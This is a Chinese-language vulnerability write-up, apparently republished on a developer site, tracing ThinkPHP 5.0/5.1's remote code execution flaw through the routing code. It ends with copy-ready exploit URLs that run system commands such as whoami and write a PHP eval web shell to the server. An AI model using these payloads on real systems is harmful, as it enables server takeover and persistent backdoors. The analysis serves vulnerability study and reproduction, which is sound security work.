ThinkPHP远程命令执行漏洞原理及复现

栏目: PHP · 发布时间: 5年前

内容简介:此时穿进去的$call也就是$method,是一个数组,第一个元素是一个think\App对象,第二个元素则是调用方法名称的字符串invokefunction,然后通过反射ReflectionMethod获取这个对象下对应的方法再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数,也就是payload

2018年12月11日,exploit-db更新了一个thinkphp框架远程代码执行漏洞

exploit地址: https://www.exploit-db.com/exploits/45978

由于框架对控制器名没有进行足够的检测导致在没有开启强制路由的情况下getshell

漏洞影响范围

Thinkphp 5.1.0 - 5.1.31

Thinkphp 5.0.5 - 5.0.23

安装

下载地址http://www.thinkphp.cn/donate/download/id/1125.html

下载完解压在/var/www/html/目录下即可

ThinkPHP远程命令执行漏洞原理及复现 漏洞分析

/thinkphp/library/think/App.php 行数:120

ThinkPHP远程命令执行漏洞原理及复现

我们可以看到通过self::routerCheck函数进行路由检测

ThinkPHP远程命令执行漏洞原理及复现

我们可以看到又进入$request->path()函数

/thinkphp/library/think/Request.php 行数:416行

ThinkPHP远程命令执行漏洞原理及复现

进入pathinfo()函数,继续追踪到384行

ThinkPHP远程命令执行漏洞原理及复现

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path

我们再回到App.php 行数:606

ThinkPHP远程命令执行漏洞原理及复现

这里会进行路由检测,检查$check后会进入else分支导入路由配置,接着检测路由url调度结果为$result,如果调度失败且开启了强制路由$must,则报出路由无效,接着进入Route::parseUrl函数,根据$path(自定义url)解析操作

开始跟踪parseUrl函数

/thinkphp/library/think/Route.php 行数:1208

ThinkPHP远程命令执行漏洞原理及复现

进入parseUrlPath函数 行数:1275

ThinkPHP远程命令执行漏洞原理及复现

这里我们可以看到对模块/控制器/操作的url地址分割成数组来返回(没截好图有点重了)行数:1217

ThinkPHP远程命令执行漏洞原理及复现 ThinkPHP远程命令执行漏洞原理及复现

我们可以看到,返回的结果赋值为$path,提取路由信息又封装到$route,最后返回

thinkphp/library/think/App.php 行数:120

ThinkPHP远程命令执行漏洞原理及复现

进入self::exec函数 行数:445

ThinkPHP远程命令执行漏洞原理及复现

我们可以看到模块/控制器/操作 的函数为self::module

开始跟踪module函数 行数:494

ThinkPHP远程命令执行漏洞原理及复现 ThinkPHP远程命令执行漏洞原理及复现

我们可以看到,根据$config['app_multi_module']进入多模块部署,$bind为NULL,又进入elseif分支,判断模块是否在禁止的列表里面$config['deny_module_list'],而且mmodule存在,$available = true,就不会抛出异常

module函数最后的返回值,发现$controller没有进行过滤,那么此时应该为think\app,也就是return self::invokeMethod($call, $vars);

ThinkPHP远程命令执行漏洞原理及复现

进入self::invokeMethod函数 行数:329

ThinkPHP远程命令执行漏洞原理及复现

此时穿进去的$call也就是$method,是一个数组,第一个元素是一个think\App对象,第二个元素则是调用方法名称的字符串invokefunction,然后通过反射ReflectionMethod获取这个对象下对应的方法

再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数,也就是payload

最后再调用反射$reflect->invokeArgs($args);,将Payload数组传入反射对象函数invokeFunction,完成代码执行。

ThinkPHP远程命令执行漏洞原理及复现

至此,ThinkPHP远程代码执行漏洞分析完成

————————————————————————————————————————

漏洞利用
http://xxx.xxx.xxx(这里为你的域名)/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行命令:whoami(链接后面的whoami可以改成你要执行的命令,特殊符号请进行url转码)

http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通过phpinfo函数写出phpinfo的信息

ThinkPHP远程命令执行漏洞原理及复现

http://xxx.xxx.xxx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php

写入shell

http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

也是显示phpinfo


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

国际大学生程序设计竞赛例题解

国际大学生程序设计竞赛例题解

郭嵩山 / 电子工业出版社 / 2007-7 / 32.00元

《国际大学生程序设计竞赛例题解3:图论、动态规划算法、综合题专集》以图论、动态规划算法、综合题的形式介绍了ACM国际大学生程序设计竞赛(ACM/ICPC)中所用到的典型算法,并结合例题,对如何灵活地运用这些算法进行比较详细分析和深入浅出的讲解。《国际大学生程序设计竞赛例题解3:图论、动态规划算法、综合题专集》以精讲多练为教学宗旨,并在每一个专题论述后用一章的篇幅选出一批有代表性的竞赛例题,对每道例......一起来看看 《国际大学生程序设计竞赛例题解》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器